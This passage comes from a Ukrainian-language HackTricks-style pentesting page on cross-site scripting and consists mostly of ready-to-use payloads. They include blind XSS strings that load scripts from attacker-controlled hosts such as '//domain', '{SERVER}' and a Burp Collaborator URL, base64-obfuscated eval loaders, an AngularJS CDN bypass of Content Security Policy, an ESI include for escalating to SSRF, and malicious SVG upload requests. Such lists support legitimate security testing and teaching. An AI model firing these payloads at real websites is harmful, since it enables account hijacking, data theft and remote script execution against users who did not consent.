{{#ref}} abusing-service-workers.md {{#endref}}
Доступ до Shadow DOM
{{#ref}} shadow-dom.md {{#endref}}
Polyglots
{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}}
Blind XSS payloads
Можна також використовувати: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Доступ до прихованого вмісту
З this writeup можна дізнатися, що навіть якщо деякі значення зникають з JS, їх все одно можна знайти в JS-атрибутах у різних об'єктах. Наприклад, input для REGEX все ще можна знайти навіть після того, як значення цього input для regex було видалено:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}}
XSS — використання інших вразливостей
XSS in Markdown
Чи можна інжектувати Markdown-код, який буде відрендеровано? Можливо, так ви отримаєте XSS! Перевірте:
{{#ref}} xss-in-markdown.md {{#endref}}
XSS to SSRF
Знайшли XSS на сайті, що використовує кешування? Спробуйте підвищити його до SSRF через Edge Side Include Injection за допомогою цього payload:
<esi:include src="http://yoursite.com/capture" />
Використовуйте це, щоб обійти обмеження cookie, XSS-фільтри та багато іншого!
Більше інформації про цю техніку тут: XSLT.
XSS in dynamic created PDF
Якщо веб-сторінка створює PDF, використовуючи вхідні дані, контрольовані користувачем, ви можете спробувати обдурити bot, який створює PDF, щоб він виконав довільний JS code.
Тож, якщо PDF creator bot finds певні HTML tags, він їх буде інтерпретувати, і ви можете abuse цю поведінку, щоб спричинити Server XSS.
{{#ref}} server-side-xss-dynamic-pdf.md {{#endref}}
Якщо ви не можете інжектувати HTML-теги, може бути корисно спробувати inject PDF data:
{{#ref}} pdf-injection.md {{#endref}}
XSS in Amp4Email
AMP, спрямований на прискорення продуктивності веб-сторінок на мобільних пристроях, використовує HTML-теги, доповнені JavaScript, щоб забезпечити функціональність з акцентом на швидкість і безпеку. Він підтримує низку компонентів для різних можливостей, доступних через AMP components.
Формат AMP for Email розширює певні компоненти AMP для електронних листів, дозволяючи одержувачам взаємодіяти з контентом безпосередньо у своїх листах.
Приклад writeup XSS in Amp4Email in Gmail.
XSS uploading files (svg)
Завантажте як зображення файл, схожий на наступний (з http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Знайдіть більше SVG payloads у https://github.com/allanlw/svg-cheatsheet
Різні JS трюки та відповідна інформація
{{#ref}} other-js-tricks.md {{#endref}}
Ресурси XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Посилання
{{#include ../../banners/hacktricks-training.md}}